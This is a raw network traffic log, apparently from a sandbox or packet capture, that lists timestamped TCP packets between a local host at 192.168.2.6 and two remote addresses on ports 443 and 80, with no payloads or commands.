Oct 28, 2024 02:07:16.548675060 CET	49718	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.548715115 CET	443	49718	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.549341917 CET	49725	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.549365997 CET	443	49725	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.549444914 CET	49725	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.549571037 CET	49725	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.549582005 CET	443	49725	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.554169893 CET	443	49721	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.554312944 CET	443	49721	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.554383039 CET	49721	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.554425001 CET	49721	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.554441929 CET	443	49721	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.554470062 CET	49721	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.554476976 CET	443	49721	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.556720972 CET	49726	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.556766033 CET	443	49726	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.556840897 CET	49726	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.556971073 CET	49726	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.556998968 CET	443	49726	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.570563078 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.570600033 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.570671082 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.570744038 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.570985079 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.571014881 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.571048975 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.571080923 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.573338985 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.573395014 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.573415041 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.573451996 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.573451996 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.573489904 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.573514938 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.573542118 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.573544025 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.573574066 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.573599100 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.573611021 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.573620081 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.573663950 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.573681116 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.573714972 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.573740959 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.573753119 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.573761940 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.573784113 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.573801041 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.573837996 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.642394066 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.642467022 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.642498970 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.642519951 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.642534018 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.642570972 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.642573118 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.642573118 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.642601967 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.642610073 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.642620087 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.642668009 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.643898964 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.643944025 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.643973112 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.643994093 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.644000053 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.644036055 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.644053936 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.644072056 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.644089937 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.644113064 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.644119978 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.644162893 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.644166946 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.644201994 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.644222975 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.644237041 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.644253016 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.644289970 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.644468069 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.644500971 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.644535065 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.644560099 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.644561052 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.644572020 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.644589901 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.644607067 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.644618034 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.644643068 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.644654036 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.644689083 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.644926071 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.644979000 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.644985914 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.645014048 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.645032883 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.645051003 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.645064116 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.645092010 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.645112038 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.645134926 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.645144939 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.645181894 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.645215034 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.645227909 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.645227909 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.645250082 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.645266056 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.645286083 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.645317078 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.645359993 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.645368099 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.645411015 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.645425081 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.645442009 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.645462990 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.645490885 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.645497084 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.645531893 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.645550966 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.645589113 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.645600080 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.645657063 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.645667076 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.645711899 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.645718098 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.645746946 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.645781040 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.645792961 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.645792961 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.645817995 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.645828009 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.645867109 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.645976067 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.646029949 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.646034002 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.646064043 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.646083117 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.646099091 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.646122932 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.646133900 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.646147013 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.646184921 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.646267891 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.646326065 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.646393061 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.646426916 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.646455050 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.646465063 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.646476030 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.646500111 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.646522045 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.646533966 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.646553040 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.646570921 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.646599054 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.646605968 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.646620989 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.646667957 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.687889099 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.687937021 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.687978029 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.687998056 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.688025951 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.688049078 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.688050032 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.688072920 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.690366983 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.690397978 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.690433979 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.690454006 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.690457106 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.690485001 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.690512896 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.690534115 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.690543890 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.690579891 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.690603971 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.690612078 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.690630913 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.690649033 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.690669060 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.690685034 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.690709114 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.690721989 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.690726995 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.690779924 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.733407021 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.733444929 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.733483076 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.733525991 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.733525991 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.733563900 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.759704113 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.759761095 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.759797096 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.759798050 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.759824038 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.759844065 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.759850979 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.759888887 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.759907007 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.759946108 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.761063099 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.761126995 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.761163950 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.761195898 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.761224985 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.761233091 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.761249065 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.761270046 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.761286974 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.761323929 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.761327028 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.761375904 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.761377096 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.761414051 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.761436939 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.761451960 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.761471987 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.761490107 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.761506081 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.761522055 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.761545897 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.761573076 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.761575937 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.761610985 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.761631012 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.761646032 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.761661053 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.761682987 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.761683941 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.761739016 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.761790037 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.761821032 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.761851072 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.761894941 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.761948109 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.761982918 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.762003899 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.762038946 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.762095928 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.762130022 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.762155056 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.762166023 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.762176991 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.762224913 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.762231112 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.762284040 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.762284994 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.762321949 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.762343884 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.762357950 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.762367010 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.762394905 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.762411118 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.762433052 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.762447119 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.762489080 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.762533903 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.762568951 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.762593985 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.762615919 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.762622118 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.762656927 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.762674093 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.762696028 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.762712002 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.762748003 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.762861013 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.762914896 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.762922049 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.762953997 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.762965918 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.762984037 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.763003111 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.763005018 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.763025999 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.763040066 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.763067961 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.763076067 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.763089895 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.763107061 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.763135910 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.763154030 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.763307095 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.763359070 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.763376951 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.763395071 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.763403893 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.763432026 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.763469934 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.763489962 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.763520956 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.763556004 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.763576031 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.763607979 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.763608932 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.763643980 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.763660908 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.763690948 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.763695002 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.763730049 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.763751984 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.763766050 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.763782978 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.763803005 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.763822079 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.763839006 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.763853073 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.763894081 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.805171967 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.805218935 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.805258036 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.805293083 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.805294991 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.805331945 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.805351973 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.807481050 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.807513952 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.807550907 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.807558060 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.807559013 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.807605028 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.807606936 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.807641029 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.807662010 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.807677031 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.807701111 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.807713985 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.807724953 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.807750940 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.807761908 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.807796955 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.807821035 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.807849884 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.807899952 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.807899952 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.850394011 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.850441933 CET	80	49710	185.215.113.206	192.168.2.6
